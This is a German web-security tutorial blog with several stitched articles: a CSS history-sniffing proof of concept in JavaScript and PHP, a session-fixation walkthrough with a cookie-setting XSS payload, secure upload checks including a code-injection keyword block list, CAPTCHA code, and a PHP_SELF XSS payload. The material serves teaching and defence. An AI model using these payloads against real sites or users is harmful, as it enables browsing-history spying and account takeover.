Viele Webbrowser enthalten seit Jahren eine Sicherheitslücke, die bis heute noch nicht geschlossen wurde. Mit einem sog. CSS History Hack ist es möglich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.

In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es möglich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer könnten anhand der Daten identifiziert werden und Angreifer könnten diese nutzen, um gezielte Phishing-Angriffe durchzuführen.

Häufig wird die Browser History mit Javascript ausgelesen. JavaScript zu deaktivieren oder Addons wie NoScript zu verwenden reicht aber nicht aus. Was die meisten nicht wissen ist, dass CSS History Hacks in vielen Browsern auch mit CSS möglich sind.

Ursache der Sicherheitslücke

Die Ursache der Sicherheitslücke ist die Art, wie ein Browser speichert, ob ein Link bereits gefolgt wurde. Ist man einem Link bereits gefolgt, wird er per Stylesheet farblich anders dargestellt, als Links, denen man noch nicht gefolgt ist.

Wurde ein Link also bereits gefolgt, gibt es Änderungen im Stylesheet, die der Browser als Attribute in der History speichert.

Funktionsweise eines Angriffs

Ein Angreifer kann nicht einfach direkt abfragen, welche Webseiten in der Browser History gespeichert sind. Er muss eine Liste mit vordefinierten URLs erstellen. Jede URL in dieser Liste wird dann anhand der Attribute im Stylesheet überprüft.

Da die Überprüfung normalerweise ziemlich schnell ist, können problemlos tausende URLs innerhalb kürzester Zeit überprüft werden.

Was Angreifer mit den Daten machen könnten

Das Protential von solchen Angriffen sollte man nicht unterschätzen. Neben gezielten Phishing-Angriffen ist noch einiges mehr möglich.

Sämtliche Daten könnten ausspioniert werden - besonders in Kombination mit Social Engineering. Vor allem soziale Netzwerke sind von davon betroffen.

Proof-of-Concept

Hinweis: Die Live-Demos / Scripte könnt ihr unbedenklich testen. Es werden keine Daten über besuchte Webseiten protokolliert, sondern nur dargestellt.

Beide Live Demos wurden mit Firefox und Chrome getestet.

Ausnutzung per JavaScript

Live Demo: CSS History Hack Beispiel per JavaScript

Die Demo basiert auf ein Script von Jeremiah Grossman, WhiteHat Security, Inc.

/*
NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman

BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/

/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */
var websites = [
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
];

/* Loop through each URL */
for (var i = 0; i < websites.length; i++) {

  /* create the new anchor tag with the appropriate URL information */
  var link = document.createElement("a");
  link.id = "id" + i;
  link.href = websites[i];
  link.innerHTML = websites[i];

  /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
  document.write('<style>');
  document.write('#id' + i + ":visited {color: #FF0000;}");
  document.write('</style>');

  /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
  document.body.appendChild(link);
  var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
  document.body.removeChild(link);

  /* check to see if the link has been visited if the computed color is red */
  if (color == "rgb(255, 0, 0)") { // visited

    /* add the link to the visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('visited').appendChild(item);

  } else { // not visited

    /* add the link to the not visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('notvisited').appendChild(item);

  } // end visited color check if

} // end URL loop

Dieses Beispiel zeigt die klassische Ausnutzung per JavaScript. Bereits gefolgten Links (im Stylesheet a:visited) wird eine rote Farbe zugewiesen. Anschließend wird überprüft, für welche Links diese Farbe definiert wurde.

Ausnutzung per CSS und PHP

Live Demo: CSS History Hack ohne JavaScript

<?php
  session_start();

  header('Cache-Control: no-store, no-cache, must-revalidate'); // HTTP 1.1
  header('Cache-Control: post-check=0, pre-check=0, false'); // HTTP 1.0
  header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
  header('Pragma: no-cache');

  $websites = array(
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
  );

  $c = count($websites);

  if(empty($_SESSION['visited']))
  	$_SESSION['visited'] = array();

  if(empty($_SESSION['id']))
  	$_SESSION['id'] = md5(uniqid(mt_rand(), true));

  if(!empty($_SERVER['QUERY_STRING']))
  {
    // script wurde via css background image aufgerufen
    if(preg_match('/([a-f0-9]{32})-(\d*)/i', $_SERVER['QUERY_STRING'], $matches))
    {
    	$num = $matches[2];

    	// wenn eintrag noch nicht vorhanden, hinzufuegen
    	if(!in_array($websites[$num], $_SESSION['visited']))
        $_SESSION['visited'][] = $websites[$num];
    }
  }

  $not_visited = array_diff($websites, $_SESSION['visited']);
?>
<html>
<head>
<style type="text/css">
#list { position: absolute; visibility: hidden; }
<?php
  for($i = 0; $i < $c; $i++)
    echo 'a:visited span.span' . $i . '{background:url('.basename(__FILE__).'?'.$_SESSION['id'].'-'.$i.');color:#c00;}';
?>
</style>
</head>
<body>
<div id="list">
<?php
  for($i = 0; $i < $c; $i++)
    echo '<a href="'.$websites[$i].'">'.$websites[$i].'<span class="span'.$i.'"></span></a>';
?>
</div>
<ul id="visited">
<?php
  foreach($_SESSION['visited'] as $visited)
    echo '<li><a href="'.$visited.'">'.$visited.'</a></li>';
?>
</ul>
<ul id="notvisited">
<?php
  foreach($not_visited as $notvisited)
    echo '<li><a href="'.$notvisited.'">'.$notvisited.'</a></li>';
?>
</ul>
</body>
</html>

Diese Methode wurde von IT-Wissenschaftlern einer Universität vorgestellt und funktioniert auch ohne JavaScript.

Der Trick bei dieser Methode ist, dass im Stylesheet bei a:visited mit background:url() das PHP Script mit eindeutigen IDs geladen/nachgeladen wird. Die übergebene ID in der URL entspricht einer vom Angreifer festgelegten ID einer vordefinierten Webseite. Somit kann der Angreifer anhand der ID feststellen, welche Webseite bereits besucht wurde.

Wurde eine Webseite also bereits besucht, wird mit background:url() das Script mit der entsprechenden ID im Hintergrund geladen und die Webseite protokolliert (in diesem Beispiel zur Demonstration in einer Session gespeichert).

Zusätzlich wird dem Script ein eindeutiger String zur Identifikation eines Internetnutzers übergeben - normalerweise die IP Adresse. Somit können besuchte Webseiten einer IP zugeordnet werden. In diesem Beispiel ist das nur ein zufällig generierter MD5 Hash.

Gegenmaßnahmen

Nun zum wichtigen Teil - wie schützt man sich vor CSS History Hacks?

Es gibt zwei Möglichkeiten, um sich effektiv gegen solche Angriffe zu schützen.

1. Festlegen, dass der verwendete Browser keine History anlegt.

Die beste und sicherste Möglichkeit ist im Browser einzustellen, dass gar keine History angelegt wird. Wer also darauf verzichten kann, sollte diese Möglichkeit nutzen.

In Firefox geht das unter Bearbeiten > Einstellungen > Datenschutz

Alternativ kann man dort auch benutzerdefinierte Einstellungen vornehmen und z.B. einstellen, dass die Chronik nach 2 Tagen gelöscht werden soll.

2. Browser-Addon nutzen

Eine weitere Möglichkeit ist das Nutzen eines speziellen Browser-Addons. Für Firefox eignet sich das SafeHistory Addon von der Stanford Universität. Allerdings scheint es mit neueren FF Versionen nicht kompatibel zu sein.

Auch interessant:

• 16 nützliche Firefox-Addons für Webworker
• Downloads
• Content-Spoofing – Teil 1 – JavaScript
• 10 Mythen zum Thema Web Security
• Sichere Formulare – Teil 1

Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.

Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabhängig voneinander betrachtet. Zudem können Benutzer nicht eindeutig identifiziert werden.

Für diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung während einer Session (Sitzung) speichern können und somit eine zusammenhängende Kommunikation ermöglichen.

Sessions sind aber nicht nur nützlich, sondern auch ein beliebtes Ziel von Anfreifern. Es gibt verschiedene Angriffsmethoden. In diesem Artikel geht es um Session Fixation.

Sessions allgemein

Session Files

Durch eine Session können einem Benutzer Sitzungsdaten zugeordnet werden, die auf dem Server in sogenannte Session Files (temporär) gespeichert werden.

Solche Sitzungsdaten werden von einer Webanwendung erstellt. In PHP werden diese Daten im superglobalen Array $_SESSION übertragen.

Session-ID (SID)

Die Authentifizierung findet während einer Session über die Session-ID statt. Die Session-ID ist also wie ein Passwort, das für kurze Zeit gültig ist.

Kennt ein Angreifer die Session-ID, kann er die aktuelle Sitzung übernehmen, indem sein Client (Browser) die selbe Session-ID zum Kommunizieren mit dem Webserver verwendet.

PHP erzeugt eine Session-ID mit einer Länge von 32 Zeichen. Das Erraten ist also praktisch unmöglich und Brute-Force Attacken werden wahrscheinlich auch nicht gelingen.

Die Session-ID wird üblicherweise in Cookies oder in der URL per GET-Parameter übertragen. Die Übertragung per POST-Methode ist allerdings auch möglich.

Sessionverwaltung in PHP

Zur Initialisierung einer Session wird in PHP die Funktion session_start() verwendet.

<?php
  session_start();
  ...
?>

Wenn noch keine Session existiert, wird dem Client eine eindeutige Session-ID zugewiesen. Liefert der Client allerdings eine gültige Session-ID mit, wird die aktuelle Session wieder aufgenommen!

session_start() erzeugt eine Session oder nimmt die aktuelle wieder auf, die auf der Session-ID basiert, die mit einer Anfrage, z.B. durch GET, POST oder ein Cookie, übermittelt wurde. - Quelle: php.net

Die Session-ID kann mit der Funktion session_id() ausgelesen werden.

<?php
  ...
  echo session_id();
?>

Mit unset() können Session Variablen gelöscht werden.

<?php
  ...
  unset($_SESSION['foo']);
?>

Mit session_destroy() werden alle aktuellen Sitzungsdaten gelöscht.

<?php
  ...
  session_destroy();
?>

Bei php.net gibt es eine Liste mit weiteren Session Funktionen.

Session Fixation

Bei einer Session Fixation gibt ein Angreifer eine Session-ID vor und versucht diese fixierte Session-ID einem Benutzer unterzujubeln.

Der Vorteil von Angreifern ist, dass PHP jede beliebige übermittelte Session-ID akzeptiert.

In der folgenden Grafik wird veranschaulicht, wie die einfachste Form eines Session Fixation Angriffs aussieht. Hier wird die Session-ID in der URL übertragen.

Schauen wir uns die einzelnen Schritte etwas genauer an.

1. Der Angreifer schickt eine präparierte URL in Form eines Links an sein Opfer, die zu einem Loginbereich einer Online Banking Website führt, wo das Opfer registriert ist. In der URL befindet sich die fixierte Session-ID (1234).

2. Das Opfer ruft den präparierten Link auf. An dieser Stelle erkennt der Webserver bereits die Session-ID und weist sie einer Session zu.

3. Das Opfer loggt sich mit seinen Logindaten ein.

4. Der Angreifer ruft nun mit der selben Session-ID eine Seite des Loginbereichs auf. Der Webserver erkennt die gültige Session-ID, die bereits einer Session zugewiesen ist. Die Webanwendung stellt fest, dass gültige Sitzungsdaten existieren und es sich um den eingeloggten Benutzer "Max Mustermann" handelt. Der Angreifer ist nun also mit den Daten seines Opfers eingeloggt und kann mit dem Account anstellen, was er will.

Proof-Of-Concept

Folgendes Code-Beispiel soll das ganze praktisch demonstrieren. Hierzu sind folgende Einstellungen in der php.ini notwendig, damit die Session-ID in der URL übertragen wird.

session.use_cookies = 0
session.use_only_cookies = 0
session.name = PHPSESSID

<?php
  session_start();

  if(!empty($_SESSION['userid']))
    echo 'Willkommen zurueck! ID: ' . $_SESSION['userid'];
  else
  {
    $_SESSION['userid'] = md5(uniqid(mt_rand(), true));
    echo '<p>Du bist neu hier. Deine neue ID: ' . $_SESSION['userid'] . '</p>';
    echo '<p>Session-ID: ' . session_id() . '</p>';
  }
?>

Das ganze können wir jetzt einfach mit zwei verschiedenen Browsern testen.

Browser1 = Opfer
Browser2 = Angreifer

Zuerst wird die Session-ID vom Angreifer bestimmt.

login.php?PHPSESSID=5678

Nun rufen wir die URL in Browser1 auf.

Du bist neu hier. Deine neue ID: 9eb47aed86421db352d3e2c7753c121b

Session-ID: 5678

Rufen wir die URL erneut auf, werden wir identifiziert.

Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b

Wenn wir die URL nun mit der selben Session-ID (5678) in Browser2 aufrufen, werden wir ebenfalls identifiziert und erhalten die gleiche Ausgabe.

Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b

Bei einem Loginscript wären wir jetzt mit Browser2 eingeloggt.

Session-ID in der URL

Werden Session-IDs in der URL übertragen, gibt es noch weitere Gefahren. Zum Beispiel die sogenannte Self Exploitation. Interessante Links werden gerne mal in Foren, Blogs, Twitter, etc. weitergegeben. Und was ist der einfachste Weg? Genau, die URL aus der Adresszeile kopieren. Jeder, der den Link aufruft, übernimmt die Session.

Sehr kritisch wird es, wenn andere Methoden (aus)genutzt werden. Zum Beispiel könnte ein Angreifer HTTP Weiterleitungen in PHP Anwendungen (z.B. Foren) ausnutzen. Dann müsste er noch nicht einmal jemanden dazu bringen, die präparierte URL aufzurufen.

Session-ID in Cookies

Wenn die Session-ID in einem Cookie übertragen wird, ist Session Fixation ohne weiteres nicht möglich. Die Betonung liegt hier auf "ohne weiteres", denn mit einer einfachen XSS Sicherheitslücke auf der Zielseite, sieht die Sache schon wieder anders aus.

Ein Angreifer könnte durch injizierten JavaScript Code sein Opfer dazu bringen das entsprechende Cookie zu setzen.

<script>document.cookie='PHPSESSID=1234';</script>

Das Kombinieren von Sicherheitslücken kann sehr effektiv sein kann.

Gegenmaßnahmen

Session Fixation ist im Gegensatz zu anderen Angriffsmethoden auf Sessions wie z.B. Session Hijacking ziemlich leicht zu verhindern.

Man könnte das Übermitteln der Session-ID per URL deaktivieren. Das geht ganz einfach, indem man den Wert von session.use_only_cookies in der php.ini auf 1 setzt.

Hat man kein Zugriff auf die php.ini, kann man das ganze auch im Script mit ini_set() regeln. Wichtig ist, dass das ganze vor dem Aufruf von session_start() geschieht.

<?php
  ini_set('session.use_only_cookies', 1);
  session_start();
  ...
?>

Das verhindert aber immer noch nicht Session Fixation, da (wie bereits erwähnt) mithilfe von anderen Sicherheitslücken die Session-ID in einem Cookie injiziert werden kann.

Session-ID Regenerierung

Ein sicherer und effizienter Schutz gegen Session Fixation ist die Session-ID Regenerierung. Bei jeder Authentifizierung ersetzen wir die Session-ID durch eine neue.

Dazu wird die Funktion session_regenerate_id() verwendet.

Die Funktion session_regenerate_id() ersetzt die aktuelle Session-ID durch eine neue und übernimmt die aktuellen Session-Informationen. - Quelle: php.net

Der Angreifer schickt eine präparierte URL mit einer fixierten Session-ID an sein "Opfer". Das "Opfer" loggt sich ein und erhält eine neue Session-ID. Die alte, fixierte Session-ID ist für den Angreifer somit nutzlos.

Bei erfolgreichem Login ersetzen wir also die Session-ID. Zudem sollten bei einem Logout immer alle Sitzungsdaten gelöscht werden.

<?php
  session_start();

  // fixierte Session-ID vom Angreifer:

  echo '<p>Alte Session-ID: ' . session_id() . '</p>';

  // Login

  ...

  // wenn Login erfolgreich, neue Session-ID und Session Variable:

  if(empty($_SESSION['user']))
  {
    session_regenerate_id();
    echo '<p>Neue Session-ID: ' . session_id() . '</p>';

    // Session Variable zur Identifikation eines eingeloggten Benutzers definieren:
    $_SESSION['user'] = true;
  }

  // bei jedem Request überprüfen, ob es sich um einen eingeloggten Benutzer handelt:
  if(!empty($_SESSION['user']))
  {
    // Benutzer ist eingeloggt, da die Session Variable existiert!
    ...
  }

  // Logout:
  session_destroy();
?>

Das war's soweit für den ersten Teil zum Thema Session Sicherheit in PHP.

Auch interessant:

• Sicherheitslücken kombinieren
• 10 Mythen zum Thema Web Security
• Über Web-Tuts.de
• CSS History Hacks – Auslesen von besuchten Webseiten
• Bulletproof Contact Form

Das kann der eigene Rechner oder Server sein. Allerdings müsste man dann für jeden Test eine Testumgebung einrichten, anpassen oder sogar selbst programmieren.

Um das erlernte Wissen praktisch und vor allem legal auf anderen Websites bzw. Servern zu testen, kann man auf sogenannte Hackits zurückgreifen. Hackits (oder Challenges) sind praktische Übungsaufgaben rund um das Thema IT-Security.

Wie funktioniert das ganze?

Man versetzt sich in die Lage eines Angreifers und versucht Sicherheitslücken auszunutzen. Aber nicht nur das - es gibt auch viele weitere Challenges zu den Themen Programmierung, Kryptographie, Steganographie, Logik, etc.

Websites oder Software?
Hackits werden in der Regel auf Websites angeboten. Es gibt aber auch die ein oder andere Software, die als Testumgebung verwendet werden kann.

Bei den Websites gibt es den Vorteil, dass dort ein Punkte- bzw. Rankingsystem existiert, um sich mit anderen Messen zu können sowie und eine dazugehörige Community, die einen Tipps gibt, wenn man nicht weiter kommt.

Top 5 der (Hacking & Security) Challenges Sites

TheBlacksheep (bright-shadows.net)

Hack This Site! (hackthissite.org)

Happy-Security (happy-security.de)

Thisislegal.com

WeChall (wechall.net)

Auf der Website wechall.net gibt es neben eigenen Challenges auch ein globales Punkte- und Rankingsystem. Zurzeit werden 35 Challenges Sites unterstützt.

WebGoat: Web Security Training

Das WebGoat Projekt von OWASP ist eine auf Java basierte Lern- und Testumgebung zum Thema Web Security. Die Aufgaben sind gut strukturiert und realistisch. Zu jeder Aufgabe gibt es detaillierte Lösungen mit hilfreichen Tipps.

Damn Vulnerable Linux

"Damn Vulnerable Linux" ist eine Linux-Distribution in Form einer Live-CD. Sie enthält vor allem verwundbare Software - also nicht unbedingt ein System, das man bei der täglichen Arbeit verwenden sollte

Die beiliegende Dokumentation ist als Schulungsmaterial für Sicherheitsverantwortliche einsetzbar. Wer also etwas tiefer in die Materie der (Netzwerk-)Sicherheit unter Unix-Systemen eindringen will, sollte sich das mal anschauen.

Fazit

Hackits / Challenges und spezielle Software, die eine virtuelle, realitätsnahe Umgebung ermöglichen, bieten reichlich Platz zum Experimentieren und zum Testen des erlernten Wissens. Allerdings ist es nichts für Einsteiger, die sich bisher nur wenig mit den Themen beschäftigt haben. Die meisten Aufgaben erfordern bereits gute Kenntnisse.

Für diejenigen, die ihr erlerntes Wissen praktisch testen oder erweitern wollen, sind Hackits bzw. Challenges allerdings sehr empfehlenswert.

Auch interessant:

• Über Web-Tuts.de

Schutz vor Uploads von unerwünschten Dateien

Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, mit denen sie Kontrolle über Dateien auf dem Webserver erlangen können.

In dem Artikel über Local / Remote File Inclusion habe ich bereits gezeigt, wie versierte Angreifer eigenen Code injizieren können. Bei einem ungeschützten Upload-Formular haben es (auch unerfahrene) Angreifer viel leichter, da sie gar nichts injizieren brauchen.

Hierzu ein kleines Beispiel (basierend auf dem Basis-Formular - siehe Teil 1).

<?php
  //...
  if(move_uploaded_file($_FILES['datei']['tmp_name'], 'uploads/' . basename($_FILES['datei']['name'])))
    echo 'Die Datei wurde erfolgreich hochgeladen.';
?>

Die Funktion move_uploaded_file() ermöglicht den Upload. Als zweiter Parameter wird das Verzeichnis und der Dateiname angegeben, wo die Datei hin verschoben werden soll. In diesem Fall im Verzeichnis uploads/ unter dem selben Dateinamen.

Hinweis: Das angegebe Verzeichnis muss ausreichende Schreibrechte haben.

Da hier keine Überprüfung stattfindet, können beliebige Dateien hochgeladen werden. Um das zu verhindern, müssen wir erstmal wissen, welche Dateien überhaupt hochgeladen werden sollen. Bilder? Archive? Textdateien? Außerdem stellt sich die Frage, was mit den hochgeladenen Dateien angestellt werden soll. Sind sie im Web erreichbar oder werden sie irgendwo außerhalb des Document Roots auf dem Server gespeichert? Oder werden sie nur temporär gespeichert und als Dateianhang per E-Mail verschickt?

In diesem Beispiel sollen auschließlich Bilder hochgeladen werden, die anschließend auf einer Webseite dargestellt werden.

Maximale Dateigröße überprüfen / bestimmen

Als erstes überprüfen wir die erlaubte Dateigröße. Dazu schauen wir uns den Wert der Direktive upload_max_filesize in der Konfigurationsdatei php.ini an. Wer keinen Zugriff auf diese Datei hat, kann den Wert auch einfach mit PHP ausgeben lassen:

<?php
  echo ini_get('upload_max_filesize')
?>

Standardmäßig sind 2 MB erlaubt (upload_max_filesize = 2M). 2 MB sind für Bilder denke ich mal okay. Ist dort ein höherer Wert angegeben, sollte man ihn ändern und wer keinen Zugriff auf die php.ini hat, sollte das ganze per .htaccess realisieren:

php_value upload_max_filesize 2M

Dateiendung überprüfen

Als nächstes überprüfen wir die Dateiendung. Da wir wissen, welche Dateiendungen Bilder haben, können wir eine White-List mit erlaubten Dateiendungen erstellen.

<?php
  //...
  $erlaubt = array('.jpg', '.jpeg', '.gif', '.png');
  $dateiendung = strtolower(strrchr($_FILES['datei']['name'], '.'));
  if(!in_array($dateiendung, $erlaubt))
    die('Ungueltiges Dateiformat! Erlaubte Dateiformate: JPG, GIF, PNG');
?>

Dateiinformationen überprüfen

Nun überprüfen wir noch, ob es sich um ein valides Bild handelt. Dazu eignet sich die Funktion getimagesize() - auch wenn diese nicht zu 100% zuverlässig ist.

<?php
  //...
  if(!getimagesize($_FILES['datei']['tmp_name']))
    die('Ungueltiges Dateiformat!');
?>

Außerdem überprüfen wir den Inhalt der Datei, um evtl. Code Injection zu entdecken. Dies dient nur als zusätzlicher Schutz, um Angreifern die Ausnutzung von anderen Sicherheitslücken (z.B. LFI) zu erschweren.

<?php
  //...
  $file = fopen($_FILES['datei']['tmp_name'], 'rb');
  $contents = fread($file, filesize($_FILES['datei']['tmp_name']));
  fclose($file);

  $check = array('<script', 'javascript:', '<?php', '$_GET', '$_POST', '$_COOKIE', '$_SERVER', '$HTTP', 'system(', 'exec(', 'passthru', 'eval(', '<input', '<frame', '<iframe', 'http://');
  foreach($check as $chk)
    if(strpos($contents, strtolower($chk)) !== false)
      die('Code Injection erkannt!');
?>

Eindeutige Dateinamen vergeben

Nachdem wir alles validiert haben, können wir nun die move_uploaded_file() Funktion verwenden, um die temporäre Datei in unser gewünschtes Verzeichnis zu verschieben.

Um zu verhindern, dass vorhandene Dateien mit dem selben Dateinamen überschrieben werden, geben wir der hochgeladenen Datei einen generierten und eindeutigen Dateinamen. Das können wir mit uniqid() erledigen. Und um auf nummer sicher zu gehen, verwenden wir noch mt_rand() und verschlüsseln das ganze mit md5().

Für die Dateiendung verwenden wir die zuvor definierte Variable $dateiendung.

<?php
  //...
  $dateiname = md5(uniqid(mt_rand(), true)) . $dateiendung;
  if(move_uploaded_file($_FILES['datei']['tmp_name'], 'uploads/' . $dateiname))
    echo 'Die Datei wurde erfolgreich hochgeladen.';
  else
    die('Fehler beim Hochladen der Datei!');
?>

Wer für den Upload den selben Dateinamen verwenden will und in der Funktion move_uploaded_file() die Variable $_FILES['datei']['name'] nutzt, sollte unbedingt (wie im ersten Code-Beispiel zu sehen ist) die Funktion basename() verwenden, da ansonsten eine kritische Sicherheitslücke entsteht. Angreifer könnten wichtige, vorhandene Dateien in anderen Verzeichnissen überschreiben.

Schutz vor Spam und DoS - CAPTCHAs

CAPTCHAs werden zum Schutz vor Spambots und Denial of Service (DoS) Angriffen verwendet. Wie man sowas in PHP realisiert werde ich in einem eigenen Artikel genauer erklären. An dieser Stelle möchte ich nur einmal auf Google's reCAPTCHA hinweisen.

Rechenaufgaben und Fragen als Alternative

Oft reicht es auch aus, normale Rechenaufgaben oder einfache Fragen zu verwenden.

Das könnte z.B. so aussehen:

<?php
  session_start();

  function newSession()
  {
    $_SESSION['zahl1'] = mt_rand(1, 100);
    $_SESSION['zahl2'] = mt_rand(1, 100);
    $_SESSION['ergebnis'] = $_SESSION['zahl1'] + $_SESSION['zahl2'];
  }

  if(!isset($_SESSION['ergebnis']))
    newSession();

  //...
  if(isset($_POST['code']))
  {
    if((int)$_POST['code'] != $_SESSION['ergebnis'] ||
       strpos($_POST['code'], '.') !== false ||
       !is_numeric($_POST['code']) || is_array($_POST['code']))
    {
      echo 'Falsches Ergebnis!';
      unset($_SESSION['zahl1']);
      unset($_SESSION['zahl2']);
      unset($_SESSION['ergebnis']);
      newSession();
    }

    else
    {
      echo 'Richtig!';
      session_destroy();
      // Daten verarbeiten
      exit;
    }
  }

  $rechenaufgabe = $_SESSION['zahl1'] . ' + ' . $_SESSION['zahl2'] . ' = ';
?>

<form action="" method="post">
  <?php echo $rechenaufgabe; ?><input type="text" name="code" maxlength="3" />
  <input type="submit" name="form" value="Daten absenden" />
</form>

Natürlich wär es sinnvoll hier noch eine IP-Sperre nach x gescheiterten Versuchen einzubauen, da Spambots mit normalen Rechenaufgaben keine Probleme haben sollten. Allerdings kann man die Rechenaufgabe auch in Unicode oder mit JS ausgeben

<?php
  function unicode($ascii)
  {
    $unicode = '';
    for($i = 0; $i < strlen($ascii); $i++)
      $unicode .= '&#' . ord(substr($ascii, $i, 1)) . ';';

    return $unicode;
  }

  //...

  $rechenaufgabe = $_SESSION['zahl1'] . ' + ' . $_SESSION['zahl2'] . ' = ';
  $rechenaufgabe = unicode($rechenaufgabe);

  //...
?>

Aus 55 + 52 =  wird dann folgendes.

55 + 52 = 

Auch wenn ein richtiges CAPTCHA um einiges sicherer ist, reichen solche einfachen Alternativen meiner Erfahrung nach meistens aus.

Fertiges Kontaktformular - einfach und sicher

Wie versprochen habe ich ein fertiges Script geschrieben, das ihr euch hier downloaden könnt. Das ganze sieht ungefähr so aus:

Es ist nur eine Datei und läuft ohne Datenbank. Das Formular kann bequem mit einer PHP Include-Funktion in einer Webseite eingebunden werden.

Das einzige, das ihr an dem Script ändern müsst, ist eure E-Mail Adresse und wenn ihr wollt den Betreff der E-Mail.

<?php
  define('EMPFAENGER', 'empfaenger@example.com'); // Deine E-Mail Adresse
  define('BETREFF', 'Neue Nachricht - Kontaktformular'); // Betreff der E-Mail
?>

Ich erstelle bald eine Download Seite, da gibt's dann nochmal ne ausführliche Beschreibung. Ansonsten einfach hier per Kommentar melden

Auch interessant:

• Sichere Formulare – Teil 1
• 10 Mythen zum Thema Web Security
• Content-Spoofing – Teil 2 – Phishing
• Content-Spoofing – Teil 1 – JavaScript
• Content-Spoofing – Teil 3 – HTTP Redirects

Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. Häufig sind sie da, um Benutzereingaben an eine Webanwendung zu übermitteln.

Da viele Sicherheitslücken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.

In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitslücken (und Spam) zu vermeiden (Teil 1/2).

Grundlegende PHP-Kenntnisse sollten vorhanden sein bzw. sind von Vorteil.

Basis-Formular

Folgendes Basis-Formular dient in diesem Artikel als Beispiel.

<form action="" method="post" enctype="multipart/form-data">
  <label for="name">Name:</label>
  <input type="text" name="name" id="name" /><br /><br />

  <label for="email">E-Mail:</label>
  <input type="text" name="email" id="email" /><br /><br />

  <label for="url">URL:</label>
  <input type="text" name="url" id="url" /><br /><br />

  <label for="text">Text:</label>
  <textarea cols="50" rows="10" name="text" id="text"></textarea><br /><br />

  <label for="datei">Datei:</label>
  <input type="file" name="datei" id="datei" /><br /><br />

  <input type="submit" name="form" value="Daten absenden" />
</form>

Im Browser sieht das ganze (formatiert) so aus:

Schutz vor Cross-Site Scripting (XSS)

Wenn Benutzereingaben wieder ausgegeben werden, müssen sie vorher ausreichend gefiltert werden, um XSS zu verhindern.

Dazu eignen sich die Funktionen htmlspecialchars() und htmlentities(). Diese Funktionen wandeln bestimmte Sonderzeichen in HTML-Codes um.

<?php
  if(isset($_POST['name']) && !empty($_POST['name']))
    echo htmlentities($_POST['name']);
?>

Hierbei muss man beachten, dass diese Funktionen standardmäßig keine einfachen Anführungszeichen (Single Quotes) umwandeln.

Damit auch Single Quotes umgewandelt werden, muss der Modus ENT_QUOTES als Parameter an die Funktionen übergeben werden.

<?php
  // ...
  $name = htmlentities($_POST['name'], ENT_QUOTES);
  echo "<input type='text' name='name' value='$name' />";
  // ...
?>

Oft kommt es auch vor, dass im action-Attribut des Formulars die Variable $_SERVER['PHP_SELF'] verwendet wird. Diese Variable enthält den Dateinamen des aktuell ausgeführten Scripts, relativ zum Document Root.

Auch diese Variable ist anfällig für XSS. Ein Angreifer könnte z.B. beliebigen JavaScript Code direkt in der URL übergeben.

vuln.php/"><script>alert('XSS');</script>

